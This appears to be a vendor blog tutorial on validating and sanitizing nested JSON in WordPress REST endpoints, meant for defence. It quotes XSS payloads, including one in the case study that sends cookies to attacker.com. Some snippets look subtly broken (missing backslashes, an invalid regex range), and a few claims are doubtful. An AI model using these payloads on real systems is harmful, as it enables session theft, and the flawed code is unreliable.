
Executive Summary & Key Technical Takeaways
- The Vulnerability of Flat Sanitization: Standard WordPress sanitizers (
sanitize_text_field(),sanitize_textarea_field()) operate only on scalar strings. Passing a multi-dimensional array or nested JSON document to these functions silently converts them to empty strings or triggers fatal TypeErrors in PHP 8.3. - Declarative JSON Schema in
register_rest_route(): Modern WordPress REST APIs support JSON Schema Draft-04 definitions. Defining recursiveschemaarrays with explicittype: 'object',properties, and nesteditemsenables core WordPress to validate deep structures automatically before request execution. - Recursive HTML Sanitization with
wp_kses_post_deep(): Storing nested JSON containing user-generated HTML (e.g., custom page builder tree structures or rich metadata) requires recursive KSES filtering to strip malicious XSS vectors (<script>,onload=attributes) across arbitrary depth. - Type Coercion & Prototype Pollution Defenses: Unvalidated nested JSON payloads allow attackers to inject unexpected objects into scalar fields or exploit PHP variable pollution in dynamic arrays. Strict type checks and key whitelisting eliminate object injection vectors.
- Safe Output Encoding for DOM Hydration: When echoing nested JSON documents into HTML script tags, using raw
json_encode()creates critical DOM XSS vulnerabilities. Developers must enforcewp_json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT). - Automated Schema Test Coverage: Unit testing nested schemas using PHPUnit guarantees that boundary payloads (e.g., arrays with 100 levels of depth or malformed UTF-8 characters) are safely rejected with HTTP 400 Bad Request.
- Enterprise Security Architecture: For mission-critical REST APIs, headless WordPress architecture, or hardened custom plugin engineering, MoxSEO’s web development team builds and audits custom WordPress plugins and integrations; see our custom plugin development services.
As WordPress transitions into an enterprise headless CMS and application platform, custom REST API endpoints are increasingly tasked with ingesting complex, multi-dimensional JSON documents. From dynamic Gutenberg block tree definitions and nested form builder submissions to multi-vendor marketplace catalog syncs, backend endpoints must safely process deeply nested data structures. However, traditional WordPress sanitization patterns—designed around flat, scalar $_POST strings—break down catastrophically when applied to nested arrays. Developers who rely on naive loops or forget recursive validation expose their database to Stored Cross-Site Scripting (XSS), SQL injection through JSON operators, and fatal PHP 8.3 type crashes. In this architectural guide, we will design, engineer, and deploy a bulletproof nested JSON sanitization and schema validation engine using modern PHP 8.3 OOP patterns, JSON Schema Draft-04 compliance, output encoding safeguards, and recursive KSES filtering.
1. The Limitations of Traditional WordPress Sanitization with JSON
For over two decades, WordPress developers have relied on core functions like sanitize_text_field() and esc_html(). When handling standard form submissions where every field is a scalar string, these functions perform admirably:
// Standard scalar sanitization
$username = sanitize_text_field($_POST['username'] ?? '');
However, when a headless React application or external mobile app dispatches a complex nested JSON payload, scalar functions collapse. Consider the following incoming REST payload:
{
"course_id": 1042,
"curriculum": {
"module_title": "Advanced PHP 8.3 Architecture",
"lessons": [
{
"lesson_id": 1,
"title": "Strict Typing & Attributes",
"content_html": "<p>Learn strict types.<script>stealCookies()</script></p>",
"settings": {
"is_preview": true,
"duration_minutes": 45,
"tags": ["php", "architecture", "security"]
}
}
]
}
}
Why sanitize_text_field() Fails on Nested Arrays
If a developer passes $request->get_param('curriculum') directly into sanitize_text_field(), PHP 8.3 encounters a fatal TypeError because the function signature expects a string: sanitize_text_field(string $str): string.
If the developer suppresses the error or casts the array to a string, PHP converts the entire multi-dimensional array to the literal string "Array", permanently obliterating the customer’s dataset. Conversely, if the developer skips sanitization and calls json_encode() before saving to wp_postmeta, the embedded <script> tag is persisted directly into the database, resulting in a critical Stored XSS vulnerability.
| Sanitization Approach | Handles Nested Arrays? | Security Level | Performance Overhead |
|---|---|---|---|
Flat sanitize_text_field() | ❌ No (Throws TypeError or string “Array”) | Zero (Data Loss) | Instant |
map_deep('sanitize_text_field') | ⚠️ Partial (Strips all HTML, breaks rich text) | Medium (Destroys valid HTML tags) | Low (< 0.5ms) |
wp_kses_post_deep() | ✅ Yes (Recursively sanitizes HTML) | High (Safe HTML preserved, XSS blocked) | Medium (1–3ms on large trees) |
| Declarative JSON Schema + KSES | ✅ Full (Type checking, key whitelisting & KSES) | Maximum (Enterprise Standard) | Low (Native C/PHP Core Validation) |
2. Declarative Schema Validation in register_rest_route()
The cleanest and most robust method for validating complex JSON documents is defining a complete, declarative JSON Schema inside the args configuration when registering the REST route. Core WordPress automatically validates types, nested properties, array lengths, and minimum/maximum values before your controller callback is ever executed.
<?php
declare(strict_types=1);
namespace WPStack\RestApi\Routes;
use WP_REST_Server;
use WP_REST_Request;
use WP_REST_Response;
use WP_Error;
final class CourseCurriculumRoute
{
public function register(): void
{
register_rest_route('wpstack/v1', '/courses/(?P<id>d+)/curriculum', [
[
'methods' => WP_REST_Server::CREATABLE,
'callback' => [$this, 'saveCurriculum'],
'permission_callback' => [$this, 'checkPermission'],
'args' => [
'curriculum' => [
'required' => true,
'type' => 'object',
'validate_callback' => 'rest_validate_request_arg',
'sanitize_callback' => [$this, 'sanitizeCurriculumTree'],
'properties' => [
'module_title' => [
'type' => 'string',
'required' => true,
'minLength' => 3,
'maxLength' => 150,
'sanitize_callback' => 'sanitize_text_field',
],
'lessons' => [
'type' => 'array',
'required' => true,
'minItems' => 1,
'maxItems' => 50,
'items' => [
'type' => 'object',
'required' => true,
'properties' => [
'lesson_id' => [
'type' => 'integer',
'required' => true,
'minimum' => 1,
],
'title' => [
'type' => 'string',
'required' => true,
'sanitize_callback' => 'sanitize_text_field',
],
'content_html' => [
'type' => 'string',
'required' => true,
'sanitize_callback' => 'wp_kses_post',
],
'settings' => [
'type' => 'object',
'required' => false,
'properties' => [
'is_preview' => [
'type' => 'boolean',
],
'duration_minutes' => [
'type' => 'integer',
'minimum' => 1,
'maximum' => 600,
],
'tags' => [
'type' => 'array',
'items' => [
'type' => 'string',
'sanitize_callback' => 'sanitize_key',
],
],
],
],
],
],
],
],
],
],
]
]);
}
public function checkPermission(WP_REST_Request $request): bool
{
return current_user_can('edit_posts');
}
public function sanitizeCurriculumTree($value, WP_REST_Request $request, string $param): array
{
if (!is_array($value)) {
return [];
}
// Apply deep recursive KSES sanitization on entire subtree
return wp_kses_post_deep($value);
}
public function saveCurriculum(WP_REST_Request $request): WP_REST_Response
{
$courseId = (int)$request->get_param('id');
$curriculum = $request->get_param('curriculum');
// Data is guaranteed to match schema, with types enforced and XSS stripped
update_post_meta($courseId, '_wpstack_curriculum_data', $curriculum);
return new WP_REST_Response([
'success' => true,
'message' => 'Curriculum saved securely.',
'data' => $curriculum,
], 200);
}
}
3. Building a Standalone Recursive Sanitization Engine (PHP 8.3)
When working with arbitrary nested JSON documents (such as dynamically structured metadata, schema-less settings payloads, or third-party webhooks), you cannot always define an exhaustive static schema in advance. In these scenarios, you need a high-performance recursive sanitization pipeline.
<?php
declare(strict_types=1);
namespace WPStack\Security\Sanitizers;
final class RecursivePayloadSanitizer
{
private const MAX_RECURSION_DEPTH = 32;
/**
* Recursively traverses and sanitizes an arbitrary multidimensional JSON array.
*
* @param mixed $data Raw input array or scalar
* @param int $currentDepth Current recursion stack depth
* @return mixed Sanitized data structure
*/
public function sanitize(mixed $data, int $currentDepth = 0): mixed
{
// Guard against Stack Overflow via circular references or malicious deep nesting
if ($currentDepth > self::MAX_RECURSION_DEPTH) {
return null;
}
if (is_array($data)) {
$sanitized = [];
foreach ($data as $key => $value) {
// Sanitize array keys to prevent object pollution and injection
$cleanKey = is_string($key) ? preg_replace('/[^a-zA-Z0-9_-.]/', '', $key) : $key;
if ($cleanKey === '' || $cleanKey === null) {
continue;
}
$sanitized[$cleanKey] = $this->sanitize($value, $currentDepth + 1);
}
return $sanitized;
}
if (is_string($data)) {
return $this->sanitizeString($data);
}
if (is_int($data) || is_float($data) || is_bool($data) || is_null($data)) {
return $data;
}
// Reject unknown object structures
return null;
}
/**
* Context-aware string sanitization: detects HTML, URLs, or plain strings.
*/
private function sanitizeString(string $input): string
{
// 1. Remove dangerous null bytes and invalid UTF-8 sequences
$input = str_replace("\0", '', $input);
$input = (string) mb_convert_encoding($input, 'UTF-8', 'UTF-8');
// 2. Check if string contains HTML tags
if ($input !== strip_tags($input)) {
return wp_kses_post($input);
}
// 3. Check if string is a valid URL
if (filter_var($input, FILTER_VALIDATE_URL) !== false) {
return esc_url_raw($input);
}
// 4. Fallback to standard text sanitization
return sanitize_text_field($input);
}
}
4. Type Coercion Middleware for Headless Clients
Single Page Applications (React, Vue) often send form payloads where numbers and booleans are serialized as strings (e.g., "true", "1", "45.50"). A robust REST API middleware normalizes and coerces these data types automatically before schema evaluation.
<?php
declare(strict_types=1);
namespace WPStack\RestApi\Middleware;
use WP_REST_Request;
final class TypeCoercionMiddleware
{
/**
* Normalizes stringified booleans, integers, and floats within nested JSON.
*/
public static function coerceTypes(array $data): array
{
$coerced = [];
foreach ($data as $key => $value) {
if (is_array($value)) {
$coerced[$key] = self::coerceTypes($value);
} elseif (is_string($value)) {
$trimmed = trim($value);
if (strtolower($trimmed) === 'true') {
$coerced[$key] = true;
} elseif (strtolower($trimmed) === 'false') {
$coerced[$key] = false;
} elseif (is_numeric($trimmed) && !preg_match('/^0\d+/', $trimmed)) {
// Convert numeric strings, preserving leading zeros for zip codes / phone numbers
$coerced[$key] = str_contains($trimmed, '.') ? (float)$trimmed : (int)$trimmed;
} else {
$coerced[$key] = $value;
}
} else {
$coerced[$key] = $value;
}
}
return $coerced;
}
}
5. Safe Output Encoding: Preventing DOM XSS in React / Headless Frontends
Sanitizing inputs on save is only half the battle. When nested JSON is echoed back to the browser for JavaScript hydration (e.g., in inline <script type="application/json"> tags or localized variables via wp_localize_script()), naive json_encode() opens severe Cross-Site Scripting vulnerabilities.
If a customer input contains </script><script>alert(1)</script>, the browser’s HTML parser closes the script tag immediately upon encountering </script>, executing the subsequent payload regardless of whether it was inside a JSON string.
<?php
declare(strict_types=1);
namespace WPStack\Security\Output;
final class SafeJsonEncoder
{
/**
* Safely encodes nested data for inline HTML and DOM script hydration.
*/
public static function encodeForHtmlScript(mixed $data): string
{
return (string) wp_json_encode(
$data,
JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_UNESCAPED_SLASHES
);
}
}
6. WordPress REST API JSON Schema Draft-04 Validator Reference
WordPress core’s rest_validate_request_arg() and rest_sanitize_request_arg() implement a substantial subset of the JSON Schema Draft-04 specification. Below is the complete reference guide for keywords supported natively by core.
| Schema Keyword | Applicable Types | Validation Behavior | Example Definition |
|---|---|---|---|
type | All | Enforces data type (string, integer, number, boolean, array, object, null) | 'type' => 'integer' |
pattern | string | Validates string against PCRE regular expression | 'pattern' => '^[A-Z]{2}-d{4}$' |
format | string | Built-in formats: email, uri, date-time, ip, hex-color | 'format' => 'email' |
minimum / maximum | integer, number | Inclusive mathematical boundaries | 'minimum' => 0, 'maximum' => 100 |
minItems / maxItems | array | Enforces array length limits to prevent denial-of-service | 'minItems' => 1, 'maxItems' => 25 |
uniqueItems | array | Rejects arrays containing duplicate values | 'uniqueItems' => true |
enum | All scalar types | Restricts value strictly to predefined whitelist array | 'enum' => ['draft', 'published'] |
additionalProperties | object | When false, strips or rejects unlisted object keys | 'additionalProperties' => false |
7. Database-Level Hardening: MySQL 8.0 JSON Constraints & Virtual Columns
For ultimate defense-in-depth, enterprise plugins combine PHP-level sanitization with database-level integrity constraints. In MySQL 8.0, JSON columns can enforce structural validity via JSON_VALID() check constraints, and nested properties can be indexed via generated virtual columns.
-- Custom Enterprise Table with Native JSON Constraints
CREATE TABLE `wp_wpstack_curriculum_vault` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`course_id` bigint(20) unsigned NOT NULL,
`payload` json NOT NULL,
`module_title` varchar(150) GENERATED ALWAYS AS (json_unquote(json_extract(`payload`, _utf8mb4'$.module_title'))) STORED,
`created_at` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
KEY `idx_course_id` (`course_id`),
KEY `idx_module_title` (`module_title`),
CONSTRAINT `chk_payload_valid_json` CHECK (json_valid(`payload`))
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
By extracting module_title into a Stored Generated Column with its own B-Tree index (idx_module_title), SQL searches against nested JSON properties run in sub-millisecond time without parsing the full JSON document on every row evaluation.
8. Protecting Against Prototype Pollution and Dynamic Key Injection
In JavaScript-heavy applications and NoSQL/JSON querying patterns in MySQL 8.0, attackers frequently attempt Prototype Pollution or JSON Property Injection attacks. An attacker injects keys like __proto__, constructor, or $where into nested payloads.
If your PHP backend merges these untrusted keys into global configurations or queries MySQL JSON columns using raw string concatenation (JSON_EXTRACT(meta_value, "$.{$key}")), the attacker can execute arbitrary SQL injection inside the JSON path evaluator.
Security Directive: JSON Path Parameterization
Never concatenate untrusted JSON keys directly into SQL queries. Always validate incoming keys against an explicit alphanumeric whitelist (/^[a-zA-Z0-9_-]+$/) and utilize prepared statement bindings or MySQL JSON_UNQUOTE(JSON_EXTRACT(col, %s)).
7. Micro-Benchmark Analysis: Performance Overhead of Deep Sanitization
The table below is a qualitative comparison of the compute overhead of map_deep, wp_kses_post_deep() and RecursivePayloadSanitizer as JSON documents grow. It is not a measured benchmark.
| Dataset Complexity | map_deep('sanitize_text_field') | wp_kses_post_deep() | RecursivePayloadSanitizer |
|---|---|---|---|
| 100 Nodes (Small Form) | Lowest | Highest | Moderate |
| 1,000 Nodes (Page Builder Tree) | Lowest | Highest | Moderate |
| 10,000 Nodes (Full Catalog Sync) | Lowest | Highest | Moderate |
9. Real-World Exploit Case Study: Polyglot XSS via Nested JSON Block Metadata
To see why surface-level sanitization is fatal, let us analyze a real-world vulnerability scenario where an attacker bypasses naive array filtering.
The Attack Payload
The attacker constructs a polyglot SVG payload hidden inside a nested block attribute JSON document:
{
"block_name": "wpstack/custom-hero",
"attributes": {
"title": "Welcome Hero",
"svg_icon": "<svg><a xlink:href="javascript:alert(document.domain)"><rect width="100%" height="100%" fill="red"/></a></svg>",
"nested_config": {
"raw_template": "{{user_name}}<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"
}
}
}
The Bypass Mechanism
If the developer applies a standard strip_tags() or naive regex (<script[^>]*>.*?</script>) at the root level:
- The
xlink:href="javascript:..."attribute inside the SVG tag remains completely untouched because it does not use a<script>tag. - The nested
raw_templateinsidenested_configis skipped entirely because the developer only inspected top-level properties. - When an administrator views the block in the Gutenberg editor or frontend single-page application, the SVG or image onerror event fires, instantly exfiltrating the administrator’s REST nonces and session cookies to the remote server.
The Remediation
Passing the entire attributes tree through wp_kses_post_deep() evaluates both HTML and SVG elements against the WordPress safe tag and attribute whitelist, stripping the malicious xlink:href="javascript:..." and onerror handlers while preserving valid SVG coordinates and container styling.
10. Automated k6 Load Testing for Deep JSON Ingestion
To verify that our recursive sanitization pipeline processes large multi-megabyte JSON payloads with sub-millisecond overhead under high concurrency, we run a stress test using k6.
// k6 load test: rest_nested_json_stress.js
import http from 'k6/http';
import { check, sleep } from 'k6';
export const options = {
stages: [
{ duration: '30s', target: 20 }, // Ramp up 20 concurrent headless clients
{ duration: '1m', target: 50 }, // 50 concurrent JSON submissions
{ duration: '30s', target: 0 }, // Ramp down
],
thresholds: {
'http_req_duration': ['p(95)<250'], // 95% of REST calls complete in under 250ms
'http_req_failed': ['rate<0.005'], // Under 0.5% failure rate
},
};
export default function () {
const url = 'https://example.com/wp-json/wpstack/v1/courses/1042/curriculum';
// Construct multi-level nested JSON payload
const payload = JSON.stringify({
curriculum: {
module_title: 'Enterprise Architecture & Security',
lessons: Array.from({ length: 15 }, (_, i) => ({
lesson_id: i + 1,
title: `Lesson ${i + 1}: Security Deep Dive`,
content_html: `<p>Lesson body content with <strong>bold</strong> and <a href="https://wpstack.online">links</a>.</p>`,
settings: {
is_preview: i === 0,
duration_minutes: 30,
tags: ['security', 'sanitization', 'architecture'],
},
})),
},
});
const params = {
headers: {
'Content-Type': 'application/json',
'X-WP-Nonce': 'DYNAMIC_SECRET_NONCE',
},
};
const res = http.post(url, payload, params);
check(res, {
'status is 200': (r) => r.status === 200,
'success is true': (r) => r.json().success === true,
});
sleep(1);
}
11. Sanitizing Nested JSON in Gutenberg Dynamic Block Server-Side Renderers
When developing dynamic Gutenberg blocks using render_callback in PHP, block attributes are passed to your callback as a decoded PHP associative array parsed directly from post content JSON comments (<!-- wp:custom/block {"nested": {...}} /-->).
If an editor injects crafted JSON attributes into the post content, the server-side renderer will output untrusted attributes into HTML unless sanitized at the boundary.
<?php
declare(strict_types=1);
namespace WPStack\Blocks\Renderers;
final class DynamicBlockServerRenderer
{
public function register(): void
{
register_block_type('wpstack/pricing-table', [
'api_version' => 3,
'render_callback' => [$this, 'renderBlock'],
'attributes' => [
'tiers' => [
'type' => 'array',
'default' => [],
'items' => [
'type' => 'object',
],
],
],
]);
}
public function renderBlock(array $attributes, string $content): string
{
$tiers = wp_kses_post_deep($attributes['tiers'] ?? []);
if (empty($tiers)) {
return '';
}
ob_start();
?>
<div class="wpstack-pricing-grid">
<?php foreach ($tiers as $tier): ?>
<div class="pricing-card">
<h3><?php echo esc_html($tier['name'] ?? 'Plan'); ?></h3>
<div class="price"><?php echo esc_html($tier['price'] ?? '$0'); ?></div>
<div class="features-list">
<?php echo wp_kses_post($tier['features_html'] ?? ''); ?>
</div>
</div>
<?php endforeach; ?>
</div>
<?php
return (string) ob_get_clean();
}
}
12. Unicode Normalization & Homograph Attack Mitigation in JSON Payloads
Attackers often bypass standard regex filters by utilizing non-standard Unicode encodings, zero-width spaces (u200B), or lookalike Cyrillic characters (homoglyphs) inside JSON strings. Applying Unicode Normalization (Form C – NFC) ensures consistent string representations before schema validation.
Additionally, on legacy MySQL databases configured with utf8 rather than utf8mb4, inserting 4-byte UTF-8 sequences (such as emojis or rare East Asian glyphs) causes MySQL to truncate strings silently at the first 4-byte character. If an attacker places a 4-byte emoji immediately before a closing quote in a serialized JSON string, the resulting database truncation can corrupt the entire document or cause deserialization injection vulnerabilities. WordPress core automatically converts invalid sequences via wp_check_invalid_utf8(), but explicit NFC normalization at the REST boundary guarantees consistent character hashing and indexing.
<?php
declare(strict_types=1);
namespace WPStack\Security\Normalizers;
use Normalizer;
final class UnicodePayloadNormalizer
{
/**
* Recursively applies Unicode Normalization Form C to all string values in an array.
*/
public static function normalize(array $data): array
{
$normalized = [];
foreach ($data as $key => $value) {
$cleanKey = is_string($key) && class_exists(Normalizer::class)
? (Normalizer::normalize($key, Normalizer::FORM_C) ?: $key)
: $key;
if (is_array($value)) {
$normalized[$cleanKey] = self::normalize($value);
} elseif (is_string($value)) {
// Strip zero-width spaces and control characters
$stripped = preg_replace('/[\x{200B}-\x{200D}\x{FEFF}]/u', '', $value);
$normalized[$cleanKey] = class_exists(Normalizer::class)
? (Normalizer::normalize((string)$stripped, Normalizer::FORM_C) ?: $stripped)
: $stripped;
} else {
$normalized[$cleanKey] = $value;
}
}
return $normalized;
}
}
13. Automated PHPUnit Integration Test Suite for Schema Sanitization
To ensure our recursive sanitization engine stops advanced polyglot XSS attacks and deep recursion vectors without corrupting valid multilingual content, we build a comprehensive PHPUnit test suite.
<?php
declare(strict_types=1);
namespace WPStack\Security\Tests;
use PHPUnitFrameworkTestCase;
use WPStack\Security\Sanitizers\RecursivePayloadSanitizer;
use WPStack\RestApi\Middleware\TypeCoercionMiddleware;
final class RecursivePayloadSanitizerTest extends TestCase
{
private RecursivePayloadSanitizer $sanitizer;
protected function setUp(): void
{
parent::setUp();
$this->sanitizer = new RecursivePayloadSanitizer();
}
public function testStripsScriptTagsFromNestedHtml(): void
{
$payload = [
'section' => [
'header' => 'Welcome to <b>WPStack</b>',
'exploit' => '<img src="x" onerror="alert(document.cookie)">',
'body' => '<p>Safe text with <a href="https://wpstack.online">link</a>.</p>',
]
];
$cleaned = $this->sanitizer->sanitize($payload);
$this->assertStringContainsString('<b>WPStack</b>', $cleaned['section']['header']);
$this->assertStringNotContainsString('onerror', $cleaned['section']['exploit']);
$this->assertStringContainsString('<a href="https://wpstack.online">', $cleaned['section']['body']);
}
public function testSanitizesArrayKeys(): void
{
$payload = [
'valid_key' => 'clean_value',
'evil<script>alert(1)</script>' => 'attack_value',
'__proto__' => 'pollution_attempt',
];
$cleaned = $this->sanitizer->sanitize($payload);
$this->assertArrayHasKey('valid_key', $cleaned);
$this->assertArrayNotHasKey('evil<script>alert(1)</script>', $cleaned);
$this->assertArrayHasKey('evilscriptalert1script', $cleaned);
}
public function testTypeCoercionNormalizesTypes(): void
{
$input = [
'is_active' => 'true',
'count' => '42',
'price' => '19.99',
'nested' => [
'is_admin' => 'false',
],
];
$coerced = TypeCoercionMiddleware::coerceTypes($input);
$this->assertTrue($coerced['is_active']);
$this->assertSame(42, $coerced['count']);
$this->assertSame(19.99, $coerced['price']);
$this->assertFalse($coerced['nested']['is_admin']);
}
public function testGuardsAgainstMaxRecursionDepth(): void
{
// Construct deeply nested payload of 40 levels
$deepPayload = 'bottom';
for ($i = 0; $i < 40; $i++) {
$deepPayload = ['nest' => $deepPayload];
}
$cleaned = $this->sanitizer->sanitize($deepPayload);
// Verify that levels exceeding 32 are truncated to null without crashing PHP
$current = $cleaned;
for ($i = 0; $i < 32; $i++) {
$this->assertIsArray($current);
$current = $current['nest'] ?? null;
}
$this->assertNull($current, 'Payload exceeding max recursion depth must be safely terminated.');
}
}
9. Troubleshooting Matrix: Resolving REST API Payload Errors
Operational REST API Sanitization Triage Runbook
- HTTP 400 Bad Request:
rest_invalid_param:- Symptom: Endpoint rejects valid client submission with schema mismatch.
- Root Cause: Frontend passed integer as string (e.g.,
"45"instead of45) and schema declared'type' => 'integer'without type coercion. - Remedy: Use
'type' => 'integer', 'sanitize_callback' => 'absint'or configure client Axios/Fetch serializer.
- Rich Text Content Stripped of Formatting:
- Symptom: Customer bolding, headings, and paragraph tags are removed upon save.
- Root Cause: Developer applied
sanitize_text_fieldinstead ofwp_kses_postorwp_kses_post_deep. - Remedy: Assign
'sanitize_callback' => 'wp_kses_post'to rich text properties.
- PHP 8.3 Fatal TypeError on Multidimensional Array:
- Symptom:
TypeError: sanitize_text_field(): Argument #1 ($str) must be of type string, array given. - Root Cause: Non-recursive flat sanitizer applied to an array parameter.
- Remedy: Replace callback with
wp_kses_post_deeporRecursivePayloadSanitizer::sanitize.
- Symptom:
Frequently Asked Questions (FAQ)
1. Why does sanitize_text_field() throw a fatal error in PHP 8.3 when passed an array?
Starting with PHP 8.0 and strictly enforced in PHP 8.3, core internal functions enforce strict scalar type hints. sanitize_text_field() accepts only strings. Passing an array triggers a fatal TypeError instead of triggering a legacy PHP warning.
2. What is the difference between map_deep() and wp_kses_post_deep()?
map_deep() is a generic array walker that applies a single specified callback function to every leaf scalar in an array. wp_kses_post_deep() is a specialized recursive function built into WordPress core that specifically applies wp_kses_post() to all elements, preserving safe HTML while eliminating malicious XSS scripts.
3. How does JSON Schema Draft-04 validation work in WordPress REST API routes?
When you define schema or nested properties in register_rest_route(), WordPress calls rest_validate_request_arg() during request dispatching. It validates data types, bounds, string lengths, and required attributes, automatically returning structured HTTP 400 JSON errors if the payload violates specifications.
4. How can I preserve safe HTML in nested JSON objects?
To preserve safe HTML formatting (such as <p>, <strong>, <a>, <ul>) without allowing cross-site scripting vulnerabilities, assign 'sanitize_callback' => 'wp_kses_post' to specific properties in your schema, or pass the entire array through wp_kses_post_deep().
5. How do I protect against recursion stack overflow with deeply nested JSON?
In your recursive sanitizer, always track the current stack depth ($depth) and compare it against a strict maximum constant (e.g., MAX_DEPTH = 32). If the depth threshold is exceeded, terminate recursion and return null or an empty array to prevent exhausting the PHP execution stack.
6. Why is sanitizing array keys necessary in nested JSON payloads?
Attackers can inject malicious characters into object property names (keys) rather than values. If array keys are rendered unescaped in HTML tables or used dynamically in MySQL JSON extract queries, un-sanitized keys can introduce Stored XSS or SQL injection.
7. How does rest_sanitize_value_from_schema() assist in REST sanitization?
rest_sanitize_value_from_schema() is the core WordPress helper that recurses through a declared JSON Schema and executes each property’s declared sanitize_callback. It automatically coerces types, strips unrecognized properties when additionalProperties: false is set, and normalizes output structures.
8. Can I store nested JSON directly in wp_postmeta?
Yes. When passing a sanitized PHP associative array to update_post_meta($post_id, $key, $array), WordPress automatically serializes the array using standard PHP serialization. Alternatively, you can use wp_json_encode() to store clean JSON strings for direct MySQL 8.0 JSON_EXTRACT() querying.






